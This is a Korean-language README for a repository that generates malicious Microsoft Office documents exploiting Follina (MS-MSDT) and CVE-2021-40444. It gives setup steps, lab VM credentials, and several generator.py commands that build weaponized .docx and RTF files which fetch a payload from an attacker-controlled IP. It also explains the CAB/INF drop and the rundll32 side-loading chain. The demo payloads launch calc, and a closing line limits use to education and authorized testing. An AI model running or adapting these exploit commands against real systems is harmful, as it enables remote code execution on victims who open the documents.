Follina CVE 및 CVE-2021-40444 취약점 악용

소개

이 저장소는 Microsoft Office의 Follina CVE 및 CVE-2021-40444 취약점을 악용하기 위한 스크립트와 리소스를 포함합니다. 스크립트는 대상 시스템에서 임의 코드를 실행할 수 있는 악성 문서 파일을 생성합니다.

Flare VM 설정:
- Flare VM이 설치되어 있는지 확인하십시오. VM의 자격 증명은 다음과 같습니다:
  - 사용자 이름: lab
  - 비밀번호: password
Python 및 가상 환경:
```
git clone https://github.com/basim-ahmad/Follina-CVE-and-CVE-2021-40444.git
cd CVE-2021-40444
```
- Python과 pip이 가상 머신에 설치되어 있는지 확인하십시오.
- 다음 명령을 사용하여 virtualenv 패키지를 설치합니다:
```
pip install virtualenv
```
- venv라는 가상 환경을 생성합니다:
```
python -m virtualenv venv
```
- 가상 환경을 활성화합니다:
```
venv\Scripts\activate.bat
```
- 필요한 패키지를 설치합니다:
```
pip install -r requirements.txt
```

익스플로잇 생성:
- 프로젝트 디렉토리로 이동하여 다음 명령을 실행하여 익스플로잇을 생성합니다:
```
python generator.py -u http://192.168.197.132 -P test\calc.dll --host
```
  192.168.197.132를 자신의 IP 주소로 바꾸십시오.
생성된 문서 접근:
- 생성된 .docx 파일은 다음 디렉토리에 위치합니다:
```
C:\Users\Lab\Desktop\project\CVE-2021-40444\out\document.docx
```

문서(.docx)가 열립니다.
문서에는 document.xml.rels에 저장된 악성 HTML을 가리키는 관계가 포함됩니다.
HTML 링크가 IE 미리보기에서 열립니다.
객체는 CAB 파일과 INF 파일을 가리키는 iframe을 가리키며, 둘 다 JScript에 포함되어 있고 ".cpl:" 지시문이 접두사로 붙습니다.
CAB 파일이 열리면서 INF 파일을 %TEMP%Low 디렉토리에 저장합니다.
".cpl:" 지시문을 사용하여 INF 파일이 열리며, 이로 인해 rundll32가 INF 파일을 사이드 로드합니다.

원본 익스플로잇을 생성하고 로컬에서 테스트:
```
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
```
MS-MSDT(Follina 공격)를 활용한 CABless 익스플로잇을 DOCX 및 RTF 문서로 생성:
```
python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert
```
HTML 스머글링을 사용한 CABless 익스플로잇(IE 전용)을 생성하고 IE를 통해 로컬에서 테스트:
```
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
```
RAR과 함께 CABless 익스플로잇을 생성하고 IE를 통해 로컬에서 테스트:
```
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
```

이 프로젝트는 교육 목적으로만 제공됩니다. 책임감 있게 사용하고 테스트 권한이 없는 시스템에서 취약점을 악용하지 마십시오. 이 정보를 오용하면 형사 처벌을 받을 수 있습니다.